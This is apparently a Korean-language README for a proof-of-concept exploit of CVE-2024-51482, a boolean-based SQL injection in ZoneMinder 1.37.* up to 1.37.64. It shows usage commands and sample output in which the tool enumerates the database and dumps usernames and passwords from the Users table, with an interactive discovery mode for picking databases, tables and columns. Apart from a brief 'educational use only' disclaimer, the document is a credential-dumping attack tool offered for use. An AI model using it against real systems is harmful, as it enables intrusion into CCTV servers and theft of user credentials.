
CVE-2024-51482 ZoneMinder v1.37.* <= 1.37.64 poc
CVE-2024-51482 poc.py
기본적으로 이 스크립트는 zm 데이터베이스를 열거하고, Users 테이블에서 데이터를 가져와 Username+Password 열을 덤프합니다.
이 4가지 항목이 존재하면 사용자 이름과 비밀번호 해시를 받게 됩니다.
취약점에 대한 자세한 정보는 다음 링크에서 확인할 수 있습니다: https://nvd.nist.gov/vuln/detail/CVE-2024-51482
ZoneMinder는 무료 오픈 소스 폐쇄회로 텔레비전 소프트웨어 애플리케이션입니다.
ZoneMinder v1.37.* <= 1.37.64는 web/ajax/event.php 함수에서 boolean 기반 SQL 인젝션에 취약합니다.
이 문제는 1.37.65에서 수정되었습니다.
이 스크립트는 교육 목적으로만 사용하십시오.
불법적인 목적으로 사용하지 마십시오.
그렇게 할 경우 전적으로 귀하의 책임이며, 저는 어떠한 오용에 대해서도 책임을 지지 않습니다.
ZM 데이터베이스, Users 테이블, Username+Password 열 기본 확인
python3 poc.py -i 127.0.0.1
[*] Enumerating database 'zm.Users'
[!] Found User and Password :
root:password123
데이터베이스, 테이블 및 열을 수동으로 탐색
python3 poc.py -i 127.0.0.1 --discovery
[*] Extracting all database names:
information_schema
zm
[*] No more databases found
[+] Successfully extracted database names:
1) information_schema
2) zm
Select database to enumerate tables [1-2]: 2
[*] Extracting tables from database 'zm':
Snapshots_Events
Maps
Events_Week
Object_Types
Models
MontageLayouts
Monitor_Status
Event_Data
States
TriggersX10
Storage
Logs
Snapshots
Reports
Groups
Tags
ControlPresets
Users
Events_Month
Groups_Permissions
Server_Stats
Filters
Frames
Events_Day
Groups_Monitors
Monitors
Zones
Stats
Devices
User_Preferences
Monitors_Permissions
Config
Sessions
Events_Archived
Controls
ZonePresets
MonitorPresets
Events
Manufacturers
Event_Summaries
Servers
Events_Tags
Events_Hour
[*] No more tables found in database 'zm'
[+] Successfully extracted tables in database 'zm':
1) Snapshots_Events
2) Maps
3) Events_Week
4) Object_Types
5) Models
6) MontageLayouts
7) Monitor_Status
8) Event_Data
9) States
10) TriggersX10
11) Storage
12) Logs
13) Snapshots
14) Reports
15) Groups
16) Tags
17) ControlPresets
18) Users
19) Events_Month
20) Groups_Permissions
21) Server_Stats
22) Filters
23) Frames
24) Events_Day
25) Groups_Monitors
26) Monitors
27) Zones
28) Stats
29) Devices
30) User_Preferences
31) Monitors_Permissions
32) Config
33) Sessions
34) Events_Archived
35) Controls
36) ZonePresets
37) MonitorPresets
38) Events
39) Manufacturers
40) Event_Summaries
41) Servers
42) Events_Tags
43) Events_Hour
Select table to enumerate columns [1-43]: 18
[*] Extracting columns from table 'Users' in database 'zm':
Id int(10) unsigned
Username varchar(64)
Password varchar(64)
Name varchar(64)
Email varchar(64)
Phone varchar(64)
Language varchar(8)
Enabled tinyint(3) unsigned
Stream enum('None','View')
Events enum('None','View','Edit')
Control enum('None','View','Edit')
Monitors enum('None','View','Edit','Cre
Groups enum('None','View','Edit')
Devices enum('None','View','Edit')
Snapshots enum('None','View','Edit')
System enum('None','View','Edit')
MaxBandwidth varchar(16)
TokenMinExpiry bigint(20) unsigned
APIEnabled tinyint(3) unsigned
HomeView varchar(64)
[*] No more columns found in table 'Users'
[+] Columns in table 'Users':
Column Name Type
----------------------------------------
1) Id int(10) unsigned
2) Username varchar(64)
3) Password varchar(64)
4) Name varchar(64)
5) Email varchar(64)
6) Phone varchar(64)
7) Language varchar(8)
8) Enabled tinyint(3) unsigned
9) Stream enum('None','View')
10) Events enum('None','View','Edit')
11) Control enum('None','View','Edit')
12) Monitors enum('None','View','Edit','Cre
13) Groups enum('None','View','Edit')
14) Devices enum('None','View','Edit')
15) Snapshots enum('None','View','Edit')
16) System enum('None','View','Edit')
17) MaxBandwidth varchar(16)
18) TokenMinExpiry bigint(20) unsigned
19) APIEnabled tinyint(3) unsigned
20) HomeView varchar(64)
Select columns to dump data (comma-separated) [1-20] or press Enter to skip: 2,3
[*] Dumping data from column 'Username' in table 'Users' of database 'zm':
root
[*] Dumping data from column 'Password' in table 'Users' of database 'zm':
password123